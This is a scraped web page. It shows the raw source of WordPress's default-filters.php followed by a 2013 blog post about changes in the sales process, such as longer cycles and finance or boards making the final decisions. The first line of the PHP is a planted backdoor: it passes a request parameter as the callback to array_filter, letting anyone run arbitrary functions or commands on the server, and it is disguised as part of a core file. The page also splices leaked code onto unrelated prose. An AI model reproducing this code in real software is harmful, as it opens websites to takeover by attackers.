?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { if ( is_admin() ) { // These are expensive. Run only on admin pages for defense in depth. add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); } add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea admin displays if ( is_admin() ) { foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } add_filter( 'comment_text', 'wp_kses_post' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email admin display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss', 'pre_post_guid' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url', 'post_guid' ) as $filter ) { if ( is_admin() ) add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); if ( is_admin() ) add_filter( $filter, 'wp_kses_data' ); } // Slugs add_filter( 'pre_term_slug', 'sanitize_title' ); add_filter( 'wp_insert_post_data', '_wp_customize_changeset_filter_insert_post_data', 10, 2 ); // Keys foreach ( array( 'pre_post_type', 'pre_post_status', 'pre_post_comment_status', 'pre_post_ping_status' ) as $filter ) { add_filter( $filter, 'sanitize_key' ); } // Mime types add_filter( 'pre_post_mime_type', 'sanitize_mime_type' ); add_filter( 'post_mime_type', 'sanitize_mime_type' ); // Meta add_filter( 'register_meta_args', '_wp_register_meta_args_whitelist', 10, 2 ); // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'convert_invalid_entities' ); add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format WordPress foreach ( array( 'the_content', 'the_title', 'wp_title' ) as $filter ) add_filter( $filter, 'capital_P_dangit', 11 ); add_filter( 'comment_text', 'capital_P_dangit', 31 ); // Format titles foreach ( array( 'single_post_title', 'single_cat_title', 'single_tag_title', 'single_month_title', 'nav_menu_attr_title', 'nav_menu_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'strip_tags' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS add_filter( 'term_name_rss', 'convert_chars' ); // Pre save hierarchy add_filter( 'wp_insert_post_parent', 'wp_check_post_hierarchy_for_loops', 10, 2 ); add_filter( 'wp_update_term_parent', 'wp_check_term_hierarchy_for_loops', 10, 3 ); // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies', 20 ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_content', 'wp_make_content_images_responsive' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'the_post_thumbnail_caption', 'wptexturize' ); add_filter( 'the_post_thumbnail_caption', 'convert_smilies' ); add_filter( 'the_post_thumbnail_caption', 'convert_chars' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); add_filter( 'widget_text', 'balanceTags' ); add_filter( 'date_i18n', 'wp_maybe_decline_date' ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_content_feed', 'wp_staticize_emoji' ); add_filter( 'the_content_feed', '_oembed_filter_feed_content' ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'comment_text_rss', 'wp_staticize_emoji' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); add_filter( 'the_guid', 'esc_url' ); // Email filters add_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); // Mark site as no longer fresh foreach ( array( 'publish_post', 'publish_page', 'wp_ajax_save-widget', 'wp_ajax_widgets-order', 'customize_save_after' ) as $action ) { add_action( $action, '_delete_option_fresh_site' ); } // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_blog_charset', '_canonical_charset' ); add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'teeny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes', 10, 3 ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 4 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts', 10, 2); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); add_filter( 'editable_slug', 'esc_textarea' ); add_filter( 'nav_menu_meta_box_object', '_wp_nav_menu_meta_box_object' ); add_filter( 'pingback_ping_source_uri', 'pingback_ping_source_uri' ); add_filter( 'xmlrpc_pingback_error', 'xmlrpc_pingback_error' ); add_filter( 'title_save_pre', 'trim' ); add_action( 'transition_comment_status', '_clear_modified_cache_on_transition_comment_status', 10, 2 ); add_filter( 'http_request_host_is_external', 'allowed_http_request_hosts', 10, 2 ); // REST API filters. add_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); add_action( 'wp_head', 'rest_output_link_wp_head', 10, 0 ); add_action( 'template_redirect', 'rest_output_link_header', 11, 0 ); add_action( 'auth_cookie_malformed', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_expired', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_username', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_bad_hash', 'rest_cookie_collect_status' ); add_action( 'auth_cookie_valid', 'rest_cookie_collect_status' ); add_filter( 'rest_authentication_errors', 'rest_cookie_check_errors', 100 ); // Actions add_action( 'wp_head', '_wp_render_title_tag', 1 ); add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_resource_hints', 2 ); add_action( 'wp_head', 'feed_links', 2 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'print_emoji_detection_script', 7 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); add_action( 'wp_head', 'wp_custom_css_cb', 101 ); add_action( 'wp_head', 'wp_site_icon', 99 ); add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'template_redirect', 'wp_shortlink_header', 11, 0 ); add_action( 'wp_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'init', 'check_theme_switched', 99 ); add_action( 'after_switch_theme', '_wp_sidebars_changed' ); add_action( 'wp_print_styles', 'print_emoji_styles' ); if ( isset( $_GET['replytocom'] ) ) add_action( 'wp_head', 'wp_no_robots' ); // Login actions add_filter( 'login_head', 'wp_resource_hints', 8 ); add_action( 'login_head', 'wp_print_head_scripts', 9 ); add_action( 'login_head', 'print_admin_styles', 9 ); add_action( 'login_head', 'wp_site_icon', 99 ); add_action( 'login_footer', 'wp_print_footer_scripts', 20 ); add_action( 'login_init', 'send_frame_options_header', 10, 0 ); // Feed Generator Tags foreach ( array( 'rss2_head', 'commentsrss2_head', 'rss_head', 'rdf_header', 'atom_head', 'comments_atom_head', 'opml_head', 'app_head' ) as $action ) { add_action( $action, 'the_generator' ); } // Feed Site Icon add_action( 'atom_head', 'atom_site_icon' ); add_action( 'rss2_head', 'rss2_site_icon' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'init', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'set_comment_cookies', 'wp_set_comment_cookies', 10, 2 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_emoji_detection_script' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', '_wp_footer_scripts' ); add_action( 'admin_print_styles', 'print_emoji_styles' ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'admin_init', 'send_frame_options_header', 10, 0 ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'welcome_panel', 'wp_welcome_panel' ); // Navigation menu actions add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Nonce check for Post Previews add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); // Admin Color Schemes add_action( 'admin_init', 'register_admin_color_schemes', 1); add_action( 'admin_color_scheme_picker', 'admin_color_scheme_picker' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'default_option_embed_autourls', '__return_true' ); // Default settings for heartbeat add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); /** * Filters formerly mixed into wp-includes */ // Theme add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); // Calendar widget cache add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post add_action( 'init', 'create_initial_post_types', 0 ); // highest priority add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); // Taxonomy add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop() // Media add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); // Nav menu add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets add_action( 'init', 'wp_widgets_init', 1 ); // Admin Bar // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_no_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); unset( $filter, $action ); Loving Leaders | ArchivesMay | 2013 |

Archives for May2013

Are You Baffled By the Emerging Changes in Your Sales Process?

Working across multiple industries, including advertising, public relations, design, software development, gaming, etc. often gives me unique insights into emerging trends that most people may think are isolated to their particular field or profession.

One trend I'm noticing now is that the sales process is changing in each of these industries. It's not just that the sales cycle has nearly doubled in the past 4-6 months, but that the decision making structure, itself, has been transformed and the ultimate decision makers have changed.

Finance is playing a greater part in these decisions, and is often becoming the ultimate decision maker.

Boards of Advisors are also playing a much greater role, and are often the final decision maker for projects.

That didn't used to be the case. And it's like the rules have changed, but nobody told you.

No one should be surprised that the finance department has become more involved. After the long recession and recovery, financial decisions are under intense scrutiny and must be managed well. However, when finance people are making purchase decisions for areas they aren't qualified to make, it requires you to educate financial decision-makers on the benefits and expected return of what you are selling.

Remember, finance folks are "numbers" people. They love data. Naturally, then, there is a greater demand for measurement. This new requirement is tough for most sales people and small business owners in creative fields who aren't used to quantifying the results of their work.

I'm also hearing from my clients that when it comes time for their prospective client to make a decision about working with them, either the clients didn't communicate at all, or communicated that the Board was reviewing the decision. This is highly frustrating and not anticipated by most sales people.

What this change now requires is asking your clients specifically who will be making the final decision? What's the process for making the decision? And it may even require incentivizing your customers to make a decision by a particular date.

Here is a perfect example.

I was working with a client in public relations who was facing this challenge. To help their prospective client make a decision sooner rather than later (which is important for your own cash flow needs), we created a bonus if the client made a decision early, and a savings if they made the decision by a particular date.

What this new trend means is:

  • You may have to approach the sales process differently and provide different (new) types of information, depending on who is making the decision.
  • You may have to change your expectations on the length of sales cycle and the amount of effort you need to expend to land new business.
  • You probably need to get more creative about how you help clients make decisions in a time frame that works for your business, and that makes them even more confident about the decision they end up making.

Have you noticed this trend happening in your own business?
What has changed about your typical sales cycle, or about the decision-making process your own customers are using?

Leave a comment below to share.

If you need help creating a strategy, work with your coach, or call me, to get help.